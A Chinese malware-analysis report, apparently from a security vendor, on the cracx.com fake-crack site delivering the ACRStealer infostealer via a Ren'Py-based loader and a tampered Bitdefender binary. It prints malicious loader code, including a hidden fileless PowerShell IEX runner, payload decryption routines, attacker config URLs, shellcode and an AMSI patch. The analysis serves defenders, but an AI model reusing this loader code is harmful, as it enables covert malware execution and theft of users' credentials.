概述
近期,瑞星威胁情报中心捕获了一起境外软件下载站cracx.com传播窃密木马的攻击事件。攻击者以“破解版”商业软件为诱饵吸引用户访问,用户点击页面上的下载按钮后,会被重定向至packlocker.shop下的随机子域名,进而下载到伪装成正常安装包的恶意压缩文件。值得注意的是,该站点早在2020年就曾因传播恶意程序被公开披露,至今已持续运营六年,其间投放的载荷历经多次更迭,呈现出长期化、产业化的运营特征。
事件详情
我们随机在该站中挑选一个破解软件进行分析(hxxps://cracx.com/iobit-uninstaller-pro-full-crack/)
IObit Uninstaller Pro是IObit推出的Windows软件卸载工具,可实现程序卸载、清理残留注册表与文件、强制卸载顽固软件等功能。攻击者利用IObit Uninstaller Pro 16.0.0.32破解版的噱头,诱使用户点击页面上的下载按钮:

点击下载后,页面随即重定向至hxxps://t5b0c6y9l3n7w2d8g.packlocker.shop/,恶意压缩包即由该落地页分发:

用户解压并运行压缩包内的程序后,恶意代码随即在后台静默展开多阶段加载,最终在目标主机上植入ACRStealer窃密木马。ACRStealer是一款在国外黑产中流通较广的商业化窃密程序,可批量窃取浏览器保存的账号口令与Cookie、Steam账号数据、主机与系统标识、屏幕截图及指定类型文件,并将窃取结果回传至攻击者控制的C2服务器,对目标用户的账号安全与财产安全构成严重威胁。
攻击流程
本次攻击共分六个阶段,形成从网站诱导下载到窃密木马长期驻留的完整攻击链:
1. 网站诱导下载:cracx.com以"破解版"商业软件为诱饵,用户点击下载后被重定向至packlocker.shop下的随机子域名,取得内含恶意代码的压缩文件Iobit-Uninstaller-Pro.zip。
2. 借正规程序完成启动:该压缩包解压后为完整的游戏程序目录,其中启动程序为Ren'Py引擎官方版本、未被篡改。引擎会按固有流程自动加载并执行游戏目录下的脚本,攻击者只需将恶意脚本置于该游戏目录中,即可借正常流程完成启动,全程未修改引擎本体。
3. 静默释放并启动载荷:脚本接管流程后清除日志与临时文件,依据随包密钥解密配置文件取得投放参数,再解密伪装为界面贴图的载荷,释放恶意程序bdredline.exe至用户目录并以隐藏方式启动。
4. 伪装成知名厂商组件:bdredline.exe并非伪造,而是在Bitdefender官方组件原版基础上直接改写而成——名称、版本信息与数字签名均原样保留,在资源、签名与进程三个视角下均表现为正规厂商更新程序;攻击者仅将加密代码写入文件的.reloc区段,启动时取出执行。
5. 加载器展开:bdredline.exe中嵌入的恶意代码在内存中逐层解开自身,检测到分析或调试环境即跳过后续逻辑;确认环境正常后绕开常规系统调用通道,疑似将窃密木马直接载入内存运行。
6. 窃取数据并外传:最终植入的ACRStealer为商业化窃密木马,自身能力全部加密隐藏。从解出的字符串看,其目标指向多款浏览器保存的账号口令与登录状态、Steam账号数据、主机与系统标识、屏幕截图及指定类型文件;回传地址疑为health.indigowell.cc,域名解析疑似采用加密的DoH通道。此外,telegra.ph上的页面内藏有一段Base64文本,解码后为一个IP地址,是样本作为主域名被封禁时取回的备用地址。

样本分析
初始样本分析
| 字段 | 内容 |
|---|---|
| 文件名 | Iobit-Uninstaller-Pro.zip |
| MD5 | 91A756CA2ECCEF7D2BDFD5B8B797949D |
| 文件类型 | ZIP |
| 文件大小 | 177.0 MB (185,598,076 字节) |
该压缩包解压后为标准的Ren'Py程序目录结构,包含Setup.exe、setup.py、lib/、renpy/与data/等目录,其中lib/与renpy/目录均为引擎运行时组件,恶意代码全部集中在data/目录下。

加载机制
在分析data/目录下的恶意组件之前,先说明Ren'Py引擎是如何被引导到这些脚本的。整条加载链完全依托引擎自身的正规机制,未对引擎本体做任何修改,这也是该样本能够规避静态检测的关键。
一、Setup.exe为合法的Ren'Py官方启动器,自身不含任何恶意逻辑
其内部有两条关键字符串——%ls\lib\py3-%ls-%ls与librenpython.dll,作用是拼出lib\py3-windows-x86_64路径并加载Ren'Py内嵌的Python解释器librenpython.dll。

二、游戏目录被解析为data/,恶意代码全部集中在该目录下
Setup.exe加载解释器后,解释器随即执行根目录下的setup.py,该文件是未被篡改的Ren'Py官方引导脚本。脚本的main()函数在启动引擎前,先执行注册代码,将自身登记到renpy.__main__,相当于给引擎设置一个回调入口,告诉引擎后续查找游戏目录时,调用本文件里的目录检索函数path_to_gamedir()。
def main():
renpy_base = path_to_renpy_base()
sys.path.append(renpy_base)
# Ignore warnings.
warnings.simplefilter("ignore", DeprecationWarning)
# Start Ren'Py proper.
try:
import renpy.bootstrap
except ImportError:
print("Could not import renpy.bootstrap. Please ensure you decompressed Ren'Py", file=sys.stderr)
print("correctly, preserving the directory structure.", file=sys.stderr)
raise
# Set renpy.__main__ to this module.
renpy.__main__ = sys.modules[__name__] # type: ignore
renpy.bootstrap.bootstrap(renpy_base)
随后代码启动引擎引导流程,bootstrap.py将回调setup.py中的path_to_gamedir()函数,获取游戏资源目录路径。
gamedir = renpy.__main__.path_to_gamedir(basedir, name)
在该函数的候选列表中,data本就是Ren'Py官方的默认候选之一:path_to_gamedir()函数负责遍历候选目录名称,自动定位游戏资源目录。函数会先将可执行文件名加入候选列表,再追加引擎内置默认候选目录game、data、launcher/game;随后按顺序逐个检查目录是否真实存在,找到第一个存在的目录就将其作为游戏目录返回。该样本包内不存在game等其他文件夹、仅存在data文件夹,函数检索命中data,将其判定为游戏目录。攻击者正是利用引擎原生的备选目录机制,将恶意脚本放置在data目录中,引擎会自动加载并执行目录内所有脚本,整个过程无需篡改启动器和引导脚本,以此规避基础静态检测。
def path_to_gamedir(basedir, name):
"""
Returns the absolute path to the directory containing the game
scripts an assets. (This becomes config.gamedir.)
`basedir`
The base directory (config.basedir)
`name`
The basename of the executable, with the extension removed.
"""
# A list of candidate game directory names.
candidates = [ name ]
# Add candidate names that are based on the name of the executable,
# split at spaces and underscores.
game_name = name
while game_name:
prefix = game_name[0]
game_name = game_name[1:]
if prefix == ' ' or prefix == '_':
candidates.append(game_name)
# Add default candidates.
candidates.extend([ 'game', 'data', 'launcher/game' ])
# Take the first candidate that exists.
for i in candidates:
if i == "renpy":
continue
gamedir = os.path.join(basedir, i)
if os.path.isdir(gamedir):
break
else:
gamedir = basedir
return gamedir
data/cache/resources.bin分析
| 字段 | 内容 |
|---|---|
| 文件名 | resources.bin |
| MD5 | BA8F7477255C9691A1331EDFD6002266 |
| 文件类型 | 全零填充数据 |
| 文件大小 | 151.9 MB (159,280,524 字节) |
该文件位于data/cache/目录下,体积高达151.9 MB,占据了压缩包解压后体积的绝大部分,但其159,280,524字节全部为0x00,不含任何有效数据。
在标准Ren'Py程序中,data/cache/用于存放引擎的资源索引缓存,因此该文件名本身并不异常。攻击者利用这一点填充大量空数据,目的一方面是将样本体积撑至177 MB,使其在视觉上更接近一个真实的游戏安装包;另一方面则用于干扰自动化分析——大体积文件会显著增加沙箱与静态扫描工具的处理开销,并可能因超出部分平台的样本提交体积上限而无法被有效分析。
data/script.rpy分析
| 字段 | 内容 |
|---|---|
| 文件名 | script.rpy |
| MD5 | DFC78DB72818039C2DE2898DC18D98A6 |
| 文件类型 | PYTHON |
| 文件大小 | 1.09 KB (1,123 字节) |
script.rpy 启动入口实现双冗余恶意代码加载:Ren'Py引擎初始化完成后,会自动执行游戏目录(data目录)下的script.rpy中label start定义的启动分支。代码优先尝试导入pack_load模块并执行main();当该加载路径失败,捕获异常并启用降级方案,通过importlib直接动态加载游戏目录下runner.py并调用其入口函数。两级加载全部失败时,脚本会在系统临时目录.app_runtime下生成runner.log记录异常信息,用于运行调试。整套触发逻辑完全复用Ren'Py原生执行能力,双层加载机制提升恶意代码执行成功率与对抗查杀的能力。
需要注意的是,本次捕获的样本中并不存在runner.py,该分支实际上是一处预留的加载槽位,用于在其他投放批次中承载形态不同的加载器,攻击者仅需替换该文件即可在不改动script.rpy的前提下更换整条投递链。
label start:
python:
# 导入所需Python标准库:动态模块加载、路径处理、系统模块管理
import importlib.util
import os
import sys
# 获取Ren'Py识别到的游戏根目录,本样本游戏目录为data/
_gd = renpy.config.gamedir
# 若游戏目录有效且不在模块搜索路径,则插入到sys.path最前端,优先在此目录查找模块
if _gd and _gd not in sys.path:
sys.path.insert(0, _gd)
try:
# 首选加载链路:导入pack_load包并执行入口函数main()
from pack_load import main
main()
except Exception as _pack_exc:
# 首选链路失败,捕获异常,启用备用加载方案
# 拼接备用载荷runner.py完整路径
_path = os.path.join(renpy.config.gamedir, "runner.py")
try:
# 使用importlib从文件直接动态加载runner.py,不依赖模块搜索路径
_spec = importlib.util.spec_from_file_location("app_runner", _path)
_mod = importlib.util.module_from_spec(_spec)
_spec.loader.exec_module(_mod)
# 执行runner.py中的main入口函数
_mod.main()
except Exception as _runner_exc:
# 两条加载链路全部失败,进入日志记录分支
try:
# 日志写入路径:系统临时目录下 .app_runtime/runner.log
_log = os.path.join(os.environ.get("TEMP", os.path.expanduser("~")), ".app_runtime", "runner.log")
# 创建日志所在目录,目录存在也不报错
os.makedirs(os.path.dirname(_log), exist_ok=True)
# 追加写入异常信息,记录两条链路的报错详情
with open(_log, "a", encoding="utf-8") as _f:
_f.write("script.rpy pack_load error: %r runner error: %r\n" % (_pack_exc, _runner_exc))
except Exception:
# 写日志发生错误时直接静默忽略,防止整个脚本崩溃退出
pass
return
data/python-packages/pack_load/init.py 分析
当script.rpy导入pack_load包并执行入口函数main()时,Python解释器加载data/python-packages/pack_load/__init__.py。该文件是Python包标识文件,作为恶意模块的转发入口,源码仅两行核心逻辑:从同目录launch.py导入main函数,并通过__all__对外暴露该入口。__init__.py自身不实现任何恶意功能,仅起到中转作用,将调用流转入launch.py。
"""Pack loader — hidden python-packages launcher (QashAds fingerprint)."""
# 从同目录下的launch模块导入main入口函数,供外部脚本调用
from pack_load.launch import main
# 定义包对外导出的接口,当使用 from pack_load import * 时仅暴露main函数,隐藏内部辅助模块
__all__ = ["main"]
data/python-packages/pack_load/launch.py分析
| 字段 | 内容 |
|---|---|
| 文件名 | launch.py |
| MD5 | 736FFA3B89676FA69DEF612D9B156129 |
| 文件类型 | PYTHON |
| 文件大小 | 45.9 KB (46,965 字节) |
| 病毒名 | Trojan.Starter/Python!1.147BF |
launch.py是该样本的核心投递加载器,负责在Ren'Py环境中读取并解密投放配置,按照配置定位和解密后续载荷,再以PE或者PowerShell无文件方式执行。当前样本中,加载器将载荷解密为bdredline.exe,写入%LOCALAPPDATA%\\Programs后启动,同时收集主机信息并回传;执行完成后清理日志、缓存和中间文件,并终止宿主进程,体现出载荷投递、运行统计和痕迹清理的一体化特征。
初始化与环境清理:launch.py首先判断是否有重复启动,随后关闭Ren'Py日志、定位程序根目录,并将内置的site-packages加入模块搜索路径。程序还会删除启动阶段产生的日志、错误报告和临时痕迹,以减少加载过程的可见性。
def main() -> None:
global _payload_done
if _payload_done:
return
_disable_renpy_log()
app_dir = _app_dir()
_ensure_site_packages(app_dir)
_cleanup_startup_traces(app_dir)
配置读取与投放参数生成:launch.py读取data目录下的.sk文件获取密钥,再解密.m8k文件获取配置信息:获得tag、cid、payload、payloadRuntime和conversionUrl(转化地址)等参数。若配置中的cid为空或为占位值,_resolve_cid()函数会在%LOCALAPPDATA%下生成并保存访客标识;随后程序将cid和launcher=1加入转化地址,并收集计算机名、用户名、系统版本、管理员权限、MachineGuid、内存和CPU信息。
delivery_secret_fn, _, _ = _load_crypto()
try:
secret = delivery_secret_fn(app_dir)
meta = _load_meta(app_dir, secret)
if not meta:
_debug_log(app_dir, f"meta missing app_dir={app_dir}")
_quit(app_dir)
return
tag = str(meta.get("tag") or "default").strip() or "default"
cid = _resolve_cid(meta)
_conv_url = _build_url(str(meta.get("conversionUrl") or "").strip(), cid)
_conv_alt = str(meta.get("conversionUrlAlt") or "").strip()
_gate_url = _launch_gate_url(
str(meta.get("launchGateUrl") or "").strip(),
_conv_url,
tag,
cid,
)
snap = _machine_snapshot()
launch.py解密.m8k得到的配置如下:
- 相关域名:
cdnwire.pixel-tracker.one payload所在位置:data/gui/button/quick_idle_background_pexo.slx- 载荷落地文件名为
bdredline.exe
{
"tag": "WRiN",
"cid": "pool-0c5f1e2dbefc6bf3",
"conversionUrl": "https://cdnwire.pixel-tracker.one/api/conversion?tag=WRiN&cid=pool-0c5f1e2dbefc6bf3&launcher=1",
"conversionUrlAlt": "https://cdnwire.pixel-tracker.one/cv/WRiN?cid=pool-0c5f1e2dbefc6bf3&launcher=1",
"launchGateUrl": "https://cdnwire.pixel-tracker.one/api/conversion/launch-gate?tag=WRiN&cid=pool-0c5f1e2dbefc6bf3&launcher=1",
"payload": "data/gui/button/quick_idle_background_pexo.slx",
"payloadRuntime": "native",
"payloadFileName": "bdredline.exe"
}
闸门与载荷解密:launch.py的_check_launch_gate()函数直接返回True,因此虽然代码会构造launchGateUrl,但不会真正进行在线闸门校验。通过检查后,_resolve_payload()函数定位.slx载荷,并使用qload:{secret}:{tag}:{cid}:v4派生的SHA256密钥流进行XOR解密;根据payloadRuntime的值,解密结果分别进入PowerShell无文件执行或原生PE执行分支。
def _check_launch_gate(
gate_url: str,
app_dir: Path | None = None,
*,
snap: dict[str, str] | None = None,
) -> bool:
"""Always allow advertiser payload (launch-gate deny retired)."""
return True
def _inline_decrypt_payload(raw: bytes, tag: str, cid: str, secret: str) -> bytes | None:
"""Decrypt .0k payload — XOR stream."""
if not raw.startswith(_XOR_PAYLOAD_MAGIC):
return None
try:
body = raw[len(_XOR_PAYLOAD_MAGIC):]
dec = _inline_xor(body, payload_seed(secret, tag, cid))
if dec:
return dec
except Exception:
pass
return None
载荷执行:本样本的payloadRuntime为native,解密得到的PE文件会被写入%LOCALAPPDATA%\\Programs\\bdredline\\bdredline.exe,再通过隐藏、分离的子进程启动。若配置为fileless,则会将脚本字节写入PowerShell标准输入,配合ExecutionPolicy Bypass和IEX直接执行内存中的脚本。
def _write_native_exe(dec: bytes, meta: dict | None, app_dir: Path | None = None) -> Path | None:
out = _native_install_path(meta)
try:
if out.is_file() and out.read_bytes() == dec:
return out
out.write_bytes(dec)
return out
except OSError as exc:
_debug_log(app_dir, f"native install write fail path={out} err={exc!r}")
return None
def _run_powershell_fileless(script: bytes, app_dir: Path | None = None) -> bool:
"""Run decrypted PS in memory — stdin IEX, no payload file on disk."""
if sys.platform != "win32" or not script:
return False
root = Path(os.environ.get("SystemRoot", r"C:\Windows"))
ps = root / "System32" / "WindowsPowerShell" / "v1.0" / "powershell.exe"
if not ps.is_file():
ps = Path("powershell.exe")
no_window = getattr(subprocess, "CREATE_NO_WINDOW", 0x08000000)
cmd = (
"& { "
"$ms = New-Object IO.MemoryStream; "
"[Console]::OpenStandardInput().CopyTo($ms); "
"IEX([Text.Encoding]::UTF8.GetString($ms.ToArray())) "
"}"
)
args = [
str(ps),
"-NoProfile",
"-ExecutionPolicy",
"Bypass",
"-WindowStyle",
"Hidden",
"-Command",
cmd,
]
proc = subprocess.Popen(
args,
stdin=subprocess.PIPE,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
creationflags=no_window,
close_fds=False,
)
回传与退出清理:载荷启动后,_ping_conversion()函数向conversionUrl及备用地址发送带有cid、tag、本地IPv4和主机指纹的转化请求;HTTPS证书校验失败时还会关闭校验并重试。最后,_quit()函数删除日志、缓存、载荷等文件,调用renpy.quit()函数并通过os._exit(0)终止Ren'Py进程,表现出明显的反取证和减少残留特征。
resolved = _resolve_payload(app_dir, meta, secret)
_start_log_watcher(app_dir)
if resolved is None:
_debug_log(app_dir, f"payload missing tag={tag} cid={meta.get('cid')} payload={meta.get('payload')}")
elif resolved[0] == "script":
script_bytes = resolved[1]
assert isinstance(script_bytes, (bytes, bytearray))
if _run_powershell_fileless(bytes(script_bytes), app_dir):
_payload_done = True
_debug_log(app_dir, f"script payload fileless ok bytes={len(script_bytes)}")
_ping_conversion(_conv_url, app_dir, tag=tag, cid=cid, alt_url=_conv_alt)
else:
_debug_log(app_dir, f"script payload fileless failed bytes={len(script_bytes)}")
time.sleep(2)
else:
payload_src = resolved[1]
assert isinstance(payload_src, Path)
_debug_log(app_dir, f"payload native launch path={payload_src}")
if _run_payload(payload_src, app_dir):
_payload_done = True
_debug_log(app_dir, f"payload launched path={payload_src}")
_ping_conversion(_conv_url, app_dir, tag=tag, cid=cid, alt_url=_conv_alt)
else:
_debug_log(app_dir, f"payload launch failed path={payload_src}")
time.sleep(2)
def _quit(app_dir: Path | None = None) -> None:
_log_watch_stop.set()
_disable_renpy_log()
if app_dir:
_cleanup_exit_artifacts(app_dir)
_cleanup_startup_traces(app_dir)
try:
import renpy # type: ignore
renpy.quit()
except Exception:
pass
if app_dir:
for _ in range(8):
_cleanup_exit_artifacts(app_dir)
_cleanup_startup_traces(app_dir)
time.sleep(0.05)
try:
os._exit(0)
except Exception:
pass
解密实现crypto.py分析
| 字段 | 内容 |
|---|---|
| 文件名 | crypto.py |
| MD5 | 89C3E094DD55F88BAEF92B45998C82DD |
| 文件类型 | PYTHON |
| 文件大小 | 8.66 KB (8,662 字节) |
该模块实现两套并存的解密方案,运行时优先使用XOR流密码,仅在文件头不匹配时才回退到AES-GCM。XOR方案的密钥流按32字节分块生成:
def _xor_keystream(seed: str, length: int) -> bytes:
import hashlib
out = bytearray(length)
pos = 0
block = 0
while pos < length:
chunk = hashlib.sha256(seed.encode() + block.to_bytes(4, "big")).digest()
take = min(32, length - pos)
out[pos:pos + take] = chunk[:take]
pos += take
block += 1
return bytes(out)
即keystream[block] = SHA256(seed ‖ block_index),与密文逐字节异或。其中密钥种子由固定前缀、密钥、用途标识与版本号拼接而成,配置与载荷使用不同的种子,从而实现“一包一密”的槽位隔离:
| 用途 | 种子格式 | 文件头标识 |
|---|---|---|
| 配置解密 | qload:{secret}:meta:v4 |
0A 51 4C 02 02 |
| 载荷解密 | qload:{secret}:{tag}:{cid}:v4 |
0A 51 4C 03 02 |
备用方案AES-GCM的密钥由SHA256("{secret}|{tag}|{cid}")派生,密文格式为nonce(12) + ciphertext + tag(16);实现上优先调用cryptography库,失败时通过ctypes回退至直接调用Windows的BCryptDecrypt。此外,模块还保留了基于MBO1文件头的第三种引导格式(使用SHA256("bootstrap|{secret}")派生的重复密钥异或),说明该框架在演进过程中曾使用过多种封装形式。
密钥读取逻辑:优先加载data/.sk外部密钥文件,文件不存在则使用内置密钥。外部密钥与内置密钥不相同,静态审计源码无法得到外部密钥内容。
释放载荷bdredline.exe分析
| 字段 | 内容 |
|---|---|
| 文件名 | bdredline.exe |
| MD5 | 7EA102376C4D8A1C8BB3F39FE24080D6 |
| 文件类型 | PE32 (i386) |
| 文件大小 | 3,049,217 字节 |
| 病毒名 | Trojan.Injector!1.127AD |
bdredline.exe是以Bitdefender官方RedLine更新程序为载体的寄生式载荷容器:攻击者未伪造任何身份信息,而是改写.reloc节尺寸、把 632,320 字节的加密shellcode整块填入该节剩余空间,并原样保留官方的版本资源与Authenticode代码签名(但无法通过签名校验),使样本在资源、签名、进程三个视图上均表现为Bitdefender官方组件,以此规避基础静态检测。

恶意代码藏匿于.reloc节的剩余空间:该文件的.reloc段声明大小为 687,104 字节,但段内真正用于重定位的数据仅 54,552 字节;自段内偏移0x248D18起直至段末尾的 632,320 字节既非重定位数据、也不被任何节内容引用,且长度恰好等于段的剩余空间、分毫不差。攻击者正是将加密后的shellcode整块填入此处,借“重定位段”这一纯技术性区段掩盖载荷。
运行期申请内存、拷入并跳转执行:bdredline.exe启动后申请内存,把从.reloc节取出的数据拷入并跳转执行;该数据即为内嵌的加密shellcode。
00D4DDEB | 33D0 | xor edx,eax |
00D4DDED | FFD0 | call eax | eax:VirtualAlloc
00D4DDEF | 81C2 34267C8D | add edx,8D7C2634 |
……
00C06A40 | 8B0485 C46BC000 | mov eax,dword ptr ds:[eax*4+C06BC4] |
00C06A47 | 01C8 | add eax,ecx |执行内嵌的`shellcode`
00C06A49 | FFE0 | jmp eax |
00C06A4B | 8B46 04 | mov eax,dword ptr ds:[esi+4] |
内嵌shellcode分析
加密shellcode的前0x34C字节为外壳的两层自解密代码,在完成两层自解密后,入口位于镜像就会偏移0x34C:
第一层:混淆层:代码块前半充斥大量对通用寄存器(eax、ebx、ecx、edx、esi、edi)的自抵消垃圾指令(如 add ecx,ebp / sub ecx,ebp、add edx,5010C079h / sub edx,5010C079h、xchg esi,eax 等),它们成对出现、效果互相抵消,以此打乱静态反汇编并干扰沙箱的特征匹配。
017D0121 | F7 13 | not dword ptr [ebx]
017D0199 | 81 03 1F 2E C4 E8 | add dword ptr [ebx], 0E8C42E1Fh
017D01F5 | 81 2B A1 CE A3 16 | sub dword ptr [ebx], 16A3CEA1h
017D0253 | 81 33 66 75 10 8F | xor dword ptr [ebx], 8F107566h
017D0295 | 83 C3 04 | add ebx, 4
017D0304 | 83 E9 04 | sub ecx, 4
017D0307 | 0F 85 C6 FD FF FF | jne 17D00D3
第二层:解密层:用 call $+5; pop esi; add esi,35h 取得运行时 EIP(0x34C),随后对 [0x34C, 0x9A4AC) 共 631,476 字节逐 dword 执行 7 步链式解密:
017D030D | BA 60 A1 09 00 | mov edx, 9A160h ; 长度
017D0312 | E8 00 00 00 00 | call $+5
017D0317 | 5E | pop esi ; 取 EIP
017D0318 | 81 C6 35 00 00 00 | add esi, 35h ; -> 0x34C 入口
; ---- 循环 ----
017D031E | 81 36 AF 6E 83 24 | xor dword ptr [esi], 24836EAFh
017D0324 | 81 2E 78 B6 2B 60 | sub dword ptr [esi], 602BB678h
017D032A | 81 36 26 89 2C C8 | xor dword ptr [esi], 0C82C8926h
017D0330 | F7 16 | not dword ptr [esi]
017D0332 | 81 36 77 BD F6 93 | xor dword ptr [esi], 93F6BD77h
017D0338 | F7 16 | not dword ptr [esi]
017D033A | 81 36 F5 E3 5F 76 | xor dword ptr [esi], 765FE3F5h
017D0340 | 83 C6 04 | add esi, 4
017D0343 | 83 EA 04 | sub edx, 4
017D0346 | 0F 85 D2 FF FF FF | jne 17D031E
017D034C | 55 | push ebp ; 入口
模块化结构:两层解密完成后进入加载器主体,加载器把自身拆分为 42 个“模块”,其(偏移, 长度)清单硬编码于入口函数(偏移0x6AD处)。每块偏移加上入口地址后都精确命中一个函数首址(例如0x8A40+0x34C=0x8D8C)。运行时由分派器为每块申请新内存、拷贝后将源字节整体清零,再逐块调用处理函数。
哈希式API解析:shellcode不携带任何明文API名。模块名与导出名各使用一套ROR13哈希(循环右移 13 位后累加字符),并统一异或固定盐值0x6666C40D:
h = 0;
for (每个字符 c) {
if ('a' <= c && c <= 'z') c -= 0x20; // 仅用于模块名的宽字符版本做大写化
h = ror(h, 13) + c;
}
return h ^ 0x6666C40D;
将样本内的哈希常量与本地DLL导出表逐一比对,共解析出90 项 API 名称与 7 个模块名(ntdll.dll、kernel32.dll、KernelBase.dll、advapi32.dll、wininet.dll、ws2_32.dll、amsi.dll)。可见加载器为后续执行准备了相当完整的内存操纵与对抗能力:
| 能力 | 解析出的API |
|---|---|
| 内存与映射 | VirtualAlloc、VirtualFree、VirtualProtect、VirtualQuery、ZwAllocateVirtualMemory、ZwAllocateVirtualMemoryEx、ZwFreeVirtualMemory、ZwProtectVirtualMemory、ZwMapViewOfSection、ZwMapViewOfSectionEx、ZwUnmapViewOfSection、ZwUnmapViewOfSectionEx、ZwCreateSection、ZwCreateSectionEx、ZwOpenSection、ZwWriteVirtualMemory、ZwQueryVirtualMemory |
| 线程与进程 | CreateThread、ZwCreateThreadEx、SuspendThread、ResumeThread、TerminateThread、ZwSuspendThread、ZwResumeThread、ZwSuspendProcess、ZwResumeProcess、ZwOpenProcess、ZwOpenThread、OpenThread、TerminateProcess、ZwTerminateProcess、ZwTerminateThread、WaitForSingleObject、WaitForMultipleObjects、ZwWaitForSingleObject、ZwWaitForWorkViaWorkerFactory、Sleep、CloseHandle、ZwClose |
| 信息枚举与设置 | CreateToolhelp32Snapshot、Thread32First、Thread32Next、ZwQueryInformationProcess、ZwQueryInformationThread、ZwQuerySystemInformation、ZwQuerySystemInformationEx、ZwQueryVolumeInformationFile、ZwQuerySecurityObject、ZwSetInformationProcess、ZwSetInformationThread、ZwSetSecurityObject、ZwReadFile、ZwOpenFile |
| 反分析与隐蔽 | LdrRegisterDllNotification、LdrUnregisterDllNotification、RtlAddVectoredExceptionHandler、RtlRemoveVectoredExceptionHandler、KiUserExceptionDispatcher、RtlUserThreadStart、ZwTraceEvent、ZwTraceControl |
AMSI |
AmsiScanBuffer、AmsiUacScan、AmsiInitialize、AmsiUninitialize |
| 网络通信 | InternetOpenA、InternetOpenUrlA、InternetReadFile、HttpQueryInfoA、InternetCloseHandle、WSAStartup、socket、connect、inet_addr、htons、send、recv、closesocket |
| 主机信息 | GetUserNameA、GetComputerNameExA、GetCurrentDirectoryA、GetCurrentProcessId、GetCurrentThreadId |
| 其他 | LdrLoadDll、LoadLibraryExW、RtlDecompressBuffer、LocalAlloc、LocalFree、RtlAcquireSRWLockExclusive、RtlReleaseSRWLockExclusive |
其中ZwTraceEvent、ZwTraceControl(ETW)以及ZwSetInformationThread、ZwQueryInformationProcess等反调试相关函数的出现,说明加载器在隐蔽性上做了较多准备;RtlDecompressBuffer则表明其具备解压数据的能力。
C++调用框架:加载器内部是一套自实现的调用框架:所有调用统一经“调用门”完成——先解密一段可执行的“调用桩”,按系统版本把系统调用号补丁进去,再经固定蹦床转发,返回后立即把调用桩重新加密。真正的函数指针从不出现在call的操作数中,且加载器字段普遍以ror(v ^ seed, seed & 0x1F)形式存储(seed在运行时生成),静态无法还原,因此内存中绝大多数时刻看到的是加密后的调用桩。
017D9D9D | FF 55 F8 | call dword ptr [ebp-8] ; 经蹦床转发,目标来自数据 |
017D9EC5 | FF 55 F8 | call dword ptr [ebp-8] ; 实际派发点 |
反分析与内存对抗:加载器包含多层对抗手段:反调试(检查进程堆标志0x40000070与KUSER_SHARED_DATA标志位0x2D4)、时间与沙箱检测(用KUSER_SHARED_DATA.SystemTime与硬编码常量比对,异常时跳过后续全部逻辑)、改写PEB模块链表中目标模块的条目,以及在栈上生成 25 字节的 64 位系统调用桩(mov r10,rcx、mov eax,imm32、ret)实现WOW64下的直接系统调用。
此外还实现了针对AMSI的内存补丁:在目标模块映像的前0x1000字节内按 4 字节步长搜索"AMSI"与"OMSI"标记,命中后先将该处内存改为PAGE_EXECUTE_READWRITE,随后把该 4 字节整体清零并恢复原保护属性。
017F3B20 | C7 85 64 FF FF FF 4F 4D 53 49 | mov dword ptr [ebp-9Ch], 49534D4Fh ; "OMSI" |
017F3B2C | C7 85 64 FF FF FF 41 4D 53 49 | mov dword ptr [ebp-9Ch], 49534D41h ; "AMSI" |
内置加密实现:加载器内含一套完整的tiny-AES-c实现,为AES-128-CBC。其解密流程分三步:
- 先由密钥扩展把 16 字节密钥展开成 176 字节的轮密钥(共 10 轮)
- 再对每个 16 字节分组执行逆向轮函数——依次为逆向行移位、逆向字节代换、加上轮密钥与逆向列混淆,得到解密的中间值
- 最后把该中间值与前一个密文分组异或才得到明文,同时把当前密文分组留存供下一分组使用。该实现与加载器中硬编码引用的密文区相配套:入口函数中以立即数形式写入了密文指针与长度
0x720C0,对应内存中一段 467,136 字节、长度恰为AES分组整数倍的高熵数据。据此推测,该段密文解密后即为本次攻击最终植入的窃密木马ACRStealer,随后在内存中直接加载执行
017F61EB | 8B 45 F4 | mov eax, dword ptr [ebp-0Ch] ; ← 外层循环: 每次一个分组 |
017F61FA | 0F 83 85 00 00 00 | jae 0x17F6285 ; 处理完则返回 |
……
017F6223 | 88 54 0D E4 | mov byte ptr [ebp+ecx-1Ch], dl ; 暂存本分组密文 |
017F6231 | E8 76 1A 00 00 | call 0x17F7CAC ; InvCipher: 解密本分组 |
017F6244 | E8 D3 1A 00 00 | call 0x17F7D1C ; 与前一密文分组异或 |
……
017F626F | 88 8A B0 00 00 00 | mov byte ptr [edx+0B0h], cl ; ctx->Iv = 本分组密文 |
017F6280 | E9 66 FF FF FF | jmp 0x17F61EB ; 回到外层循环 |
窃密木马ACRStealer分析
| 字段 | 内容 |
|---|---|
| MD5 | 03890C7BDAED21D183F0D8839F160291 |
| 文件类型 | PE32 (i386) |
| 文件大小 | 607 KB (622,080 字节) |
该文件是本次攻击最终植入的窃密木马,通过分析发现其为ACRStealer窃密木马。该样本被施加了多重防护:
- 伪装:版本资源与应用清单均复用微软官方程序内容,使该文件在资源信息与进程展示两个维度上都表现为系统正规组件,用以欺骗静态检测与人工初步排查
- 隐藏能力:导入表被压缩至仅保留运行库启动相关函数、业务功能
API改为运行时动态解析,使静态分析无法依靠导入表预判其恶意能力 - 抬高逆向门槛:对控制流施加代码混淆、对字符串施加数据层混淆,以提升反汇编分析与明文特征检索的难度
去混淆还原其功能逻辑后可见,ACRStealer针对浏览器与游戏平台实施定向窃密,目标涵盖浏览器留存的账号口令与登录状态Cookie、Steam账号数据、主机与系统标识、屏幕截图及指定类型的文件;所窃数据经加密通道汇总后,回传至攻击者预设的C2服务器。下文从文件结构、混淆手段、去混淆所得情报三个部分展开分析。
文件结构
其PE结构本身并无异常,值得注意的有三处:版本资源与清单均取自微软官方程序、导入表被压缩到只剩运行库启动函数、功能API全部改为运行时解析。以下先看节区布局,再依次说明这三处。
节区布局:该文件入口位于0x848EE,镜像基址0x400000,包含.text、.rdata、.data、.rsrc与.reloc五个标准节:
| 节名 | 虚拟地址 | 虚拟大小 | 文件大小 | 文件偏移 |
|---|---|---|---|---|
.text |
0x001000 | 0x08436E | 0x084400 | 0x000400 |
.rdata |
0x086000 | 0x00B74A | 0x00B800 | 0x084800 |
.data |
0x092000 | 0x027330 | 0x000600 | 0x090000 |
.rsrc |
0x0BA000 | 0x0008B8 | 0x000A00 | 0x090600 |
.reloc |
0x0BB000 | 0x006CC0 | 0x006E00 | 0x091000 |
伪装成微软组件:样本的版本资源完整照搬微软官方文件WPA.exe(Windows性能分析器)的信息:
| 字段 | 值 |
|---|---|
CompanyName |
Microsoft Corporation |
FileDescription |
Windows Performance Analyzer |
FileVersion |
10.0.19041.2071 |
